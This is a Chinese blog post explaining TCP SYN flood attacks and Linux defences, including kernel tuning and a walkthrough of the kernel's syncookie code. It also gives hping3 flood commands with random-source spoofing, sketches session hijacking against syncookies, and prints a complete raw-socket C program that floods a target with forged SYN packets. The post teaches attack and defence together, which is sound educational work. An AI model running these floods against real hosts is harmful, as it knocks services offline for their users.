扯谈网络编程之Tcp SYN flood洪水攻击
简介
TCP协议要经过三次握手才能建立连接：
(from wiki)
于是出现了对于握手过程进行的攻击。攻击者发送大量的SYN包，服务器回应(SYN+ACK)包，但是攻击者不回应ACK包，这样的话，服务器不知道(SYN+ACK)是否发送成功，默认情况下会重试5次（tcp_syn_retries）。这样的话，对于服务器的内存，带宽都有很大的消耗。攻击者如果处于公网，可以伪造IP的话，对于服务器就很难根据IP来判断攻击者，给防护带来很大的困难。
攻与防
攻击者角度
从攻击者的角度来看，有两个地方可以提高服务器防御的难度的：
- 变换端口
- 伪造IP
变换端口很容易做到，攻击者可以使用任意端口。
攻击者如果是只有内网IP，是没办法伪造IP的，因为伪造的SYN包会被路由抛弃。攻击者如果是有公网IP，则有可能伪造IP，发出SYN包。（TODO，待更多验证）
hping3
hping3是一个很有名的网络安全工具，使用它可以很容易构造各种协议包。
用下面的命令可以很容易就发起SYN攻击：
sudo hping3 --flood -S -p 9999 x.x.x.x #random source address sudo hping3 --flood -S --rand-source -p 9999 x.x.x.x
--flood 是不间断发包的意思
-S 是SYN包的意思
更多的选项，可以man hping3 查看文档，有详细的说明。
如果是条件允许，可以伪造IP地址的话，可以用--rand-source参数来伪造。我在实际测试的过程中，可以伪造IP，也可以发送出去，但是服务器没有回应，从本地路由器的统计数据可以看出是路由器把包给丢弃掉了。
我用两个美国的主机来测试，使用
sudo hping3 --flood -S -p 9999 x.x.x.x
发现，实际上攻击效果有限，只有网络使用上涨了，服务器的cpu，内存使用都没有什么变化：
为什么会这样呢？下面再解析。
防御者角度
当可能遇到SYN flood攻击时，syslog，/var/log/syslog里可能会出现下面的日志：
kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies. Check SNMP counters.这个也有可能是SNMP协议误报，下面再解析。
从防御者的角度来看，主要有以下的措施：
- 内核参数的调优
- 防火墙禁止掉部分IP
linux内核参数调优主要有下面三个：
- 增大tcp_max_syn_backlog
- 减小tcp_synack_retries
- 启用tcp_syncookies
tcp_max_syn_backlog
从字面上就可以推断出是什么意思。在内核里有个队列用来存放还没有确认ACK的客户端请求，当等待的请求数大于tcp_max_syn_backlog时，后面的会被丢弃。
所以，适当增大这个值，可以在压力大的时候提高握手的成功率。手册里推荐大于1024。
tcp_synack_retries
这个是三次握手中，服务器回应ACK给客户端里，重试的次数。默认是5。显然攻击者是不会完成整个三次握手的，因此服务器在发出的ACK包在没有回应的情况下，会重试发送。当发送者是伪造IP时，服务器的ACK回应自然是无效的。
为了防止服务器做这种无用功，可以把tcp_synack_retries设置为0或者1。因为对于正常的客户端，如果它接收不到服务器回应的ACK包，它会再次发送SYN包，客户端还是能正常连接的，只是可能在某些情况下建立连接的速度变慢了一点。
tcp_syncookies
根据man tcp手册，tcp_syncookies是这样解析的：
tcp_syncookies (Boolean; since Linux 2.2)
Enable TCP syncookies. The kernel must be compiled with CONFIG_SYN_COOKIES. Send out syncookies when the
syn backlog queue of a socket overflows. The syncookies feature attempts to protect a socket from a SYN
flood attack. This should be used as a last resort, if at all. This is a violation of the TCP protocol,
and conflicts with other areas of TCP such as TCP extensions. It can cause problems for clients and relays.
It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
ured conditions. For recommended alternatives see tcp_max_syn_backlog, tcp_synack_retries, and
tcp_abort_on_overflow.
当半连接的请求数量超过了tcp_max_syn_backlog时，内核就会启用SYN cookie机制，不再把半连接请求放到队列里，而是用SYN cookie来检验。
手册上只给出了模糊的说明，具体的实现没有提到。
linux下SYN cookie的实现
查看了linux的代码（https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c ）后，发现linux的实现并不是像wiki上
SYN cookie是非常巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程，从而让服务器的负载可以大大降低。
在三次握手中，当服务器回应（SYN + ACK）包后，客户端要回应一个n + 1的ACK到服务器。其中n是服务器自己指定的。当启用tcp_syncookies时，linux内核生成一个特定的n值，而不并把客户的连接放到半连接的队列里（即没有存储任何关于这个连接的信息）。当客户端提交第三次握手的ACK包时，linux内核取出n值，进行校验，如果通过，则认为这个是一个合法的连接。
n即ISN（initial sequence number），是一个无符号的32位整数，那么linux内核是如何把信息记录到这有限的32位里，并完成校验的？
首先，TCP连接建立时，双方要协商好MSS（Maximum segment size），服务器要把客户端在ACK包里发过来的MSS值记录下来。
另外，因为服务器没有记录ACK包的任何信息，实际上是绕过了正常的TCP握手的过程，服务器只能靠客户端的第三次握手发过来的ACK包来验证，所以必须要有一个可靠的校验算法，防止攻击者伪造ACK，劫持会话。
linux是这样实现的：
1. 在服务器上有一个60秒的计时器，即每隔60秒，count加一；
2. MSS是这样子保存起来的，用一个硬编码的数组，保存起一些MSS值：
static __u16 const msstab[] = {
536,
1300,
1440, /* 1440, 1452: PPPoE */
1460,
};
比较客户发过来的mms，取一个比客户发过来的值还要小的mms。算法很简单：
/*
* Generate a syncookie. mssp points to the mss, which is returned
* rounded down to the value encoded in the cookie.
*/
u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th,
u16 *mssp)
{
int mssind;
const __u16 mss = *mssp;
for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
if (mss >= msstab[mssind])
break;
*mssp = msstab[mssind];
return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
th->source, th->dest, ntohl(th->seq),
mssind);
}
比较客户发过来的mms，取一个比客户发过来的值还要小的mms。
真正的算法在这个函数里：
static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
__be16 dport, __u32 sseq, __u32 data)
{
/*
* Compute the secure sequence number.
* The output should be:
* HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
* + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
* Where sseq is their sequence number and count increases every
* minute by 1.
* As an extra hack, we add a small "data" value that encodes the
* MSS into the second hash value.
*/
u32 count = tcp_cookie_time();
return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
sseq + (count << COOKIEBITS) +
((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
& COOKIEMASK));
}
data实际上是mss的值对应的数组下标，count是每一分钟会加1，sseq是客户端发过来的sequence。
这样经过hash和一些加法，得到了一个ISN值，其中里记录了这个连接合适的MSS值。
/*
* Check if a ack sequence number is a valid syncookie.
* Return the decoded mss if it is, or 0 if not.
*/
int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th,
u32 cookie)
{
__u32 seq = ntohl(th->seq) - 1;
__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
th->source, th->dest, seq);
return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
}
先得到原来的seq，再调用check_tcp_syn_cookie函数：
/*
* This retrieves the small "data" value from the syncookie.
* If the syncookie is bad, the data returned will be out of
* range. This must be checked by the caller.
*
* The count value used to generate the cookie must be less than
* MAX_SYNCOOKIE_AGE minutes in the past.
* The return value (__u32)-1 if this test fails.
*/
static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
__be16 sport, __be16 dport, __u32 sseq)
{
u32 diff, count = tcp_cookie_time();
/* Strip away the layers from the cookie */
cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;
/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);
if (diff >= MAX_SYNCOOKIE_AGE)
return (__u32)-1;
return (cookie -
cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
& COOKIEMASK; /* Leaving the data behind */
}
先减去之前的一些值，第一个hash和sseq。然后计算现在的count（每60秒加1的计数器）和之前的发给客户端，然后客户端返回过来的count的差：
如果大于MAX_SYNCOOKIE_AGE，即2，即2分钟。则说明已经超时了。
否则，计算得出之前放进去的mss。这样内核就认为这个是一个合法的TCP连接，并且得到了一个合适的mss值，这样就建立起了一个合法的TCP连接。
可以看到SYN cookie机制十分巧妙地不用任何存储，以略消耗CPU实现了对第三次握手的校验。
但是有得必有失，ISN里只存储了MSS值，因此，其它的TCP Option都不会生效，这就是为什么SNMP协议会误报的原因了。
更强大的攻击者
SYN cookie虽然十分巧妙，但是也给攻击者带了新的攻击思路。
因为SYN cookie机制不是正常的TCP三次握手。因此攻击者可以构造一个第三次握手的ACK包，从而劫持会话。
攻击者的思路很简单，通过暴力发送大量的伪造的第三次握手的ACK包，因为ISN只有32位，攻击者只要发送全部的ISN数据ACK包，总会有一个可以通过服务器端的校验。
有的人就会问了，即使攻击者成功通过了服务器的检验，它还是没有办法和服务器正常通讯啊，因为服务器回应的包都不会发给攻击者。
刚开始时，我也有这个疑问，但是TCP允许在第三次握手的ACK包里带上后面请求的数据，这样可以加快数据的传输。所以，比如一个http服务器，攻击者可以通过在第三次握手的ACK包里带上http get/post请求，从而完成攻击。
所以对于服务器而言，不能只是依靠IP来校验合法的请求，还要通过其它的一些方法来加强校验。比如CSRF等。
值得提醒的是即使是正常的TCP三次握手过程，攻击者还是可以进行会话劫持的，只是概率比SYN cookie的情况下要小很多。
详细的攻击说明：http://www.91ri.org/7075.html
一个用raw socket SYN flood攻击的代码
下面给出一个tcp syn flood的攻击的代码：
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#pragma pack(1)
struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
#pragma pack()
unsigned short csum(unsigned short *ptr, int nbytes) {
long sum;
unsigned short oddbyte;
short answer;
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_char*) &oddbyte) = *(u_char*) ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
answer = (short) ~sum;
return (answer);
}
void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,
in_addr_t destination, u_int16_t destinationPort) {
static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };
bzero(sendBuf, sizeof(sendBuf));
struct iphdr* ipHeader = (iphdr*) sendBuf;
struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr));
ipHeader->version = 4;
ipHeader->ihl = 5;
ipHeader->tos = 0;
ipHeader->tot_len = htons(sizeof(sendBuf));
ipHeader->id = htons(1);
ipHeader->frag_off = 0;
ipHeader->ttl = 254;
ipHeader->protocol = IPPROTO_TCP;
ipHeader->check = 0;
ipHeader->saddr = source;
ipHeader->daddr = destination;
ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2);
//TCP Header
tcph->source = htons(sourcePort);
tcph->dest = htons(destinationPort);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; //sizeof(tcphdr)/4
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->window = htons(512);
tcph->check = 0;
tcph->urg_ptr = 0;
//tcp header checksum
struct pseudo_header pseudoHeader;
pseudoHeader.source_address = source;
pseudoHeader.dest_address = destination;
pseudoHeader.placeholder = 0;
pseudoHeader.protocol = IPPROTO_TCP;
pseudoHeader.tcp_length = htons(sizeof(tcphdr));
memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));
tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(sourcePort);
sin.sin_addr.s_addr = destination;
ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,
(struct sockaddr *) &sin, sizeof(sin));
if (sentLen == -1) {
perror("sent error");
}
}
int main(void) {
//for setsockopt
int optval = 1;
//create a raw socket
int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if (socketfd == -1) {
perror("create socket:");
exit(0);
}
if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))
< 0) {
perror("create socket:");
exit(0);
}
in_addr_t source = inet_addr("192.168.1.100");
in_addr_t destination = inet_addr("192.168.1.101");
u_int16_t sourcePort = 1;
u_int16_t destinationPort = 9999;
while (1) {
oneSyn(socketfd, source, sourcePort++, destination,
destinationPort);
sourcePort %= 65535;
sleep(1);
}
return 0;
}
总结：
对于SYN flood攻击，调整下面三个参数就可以防范绝大部分的攻击了。
- 增大tcp_max_syn_backlog
- 减小tcp_synack_retries
- 启用tcp_syncookies
参考：
http://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html
man tcp
http://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks
http://en.wikipedia.org/wiki/SYN_cookies
https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c
http://www.91ri.org/7075.html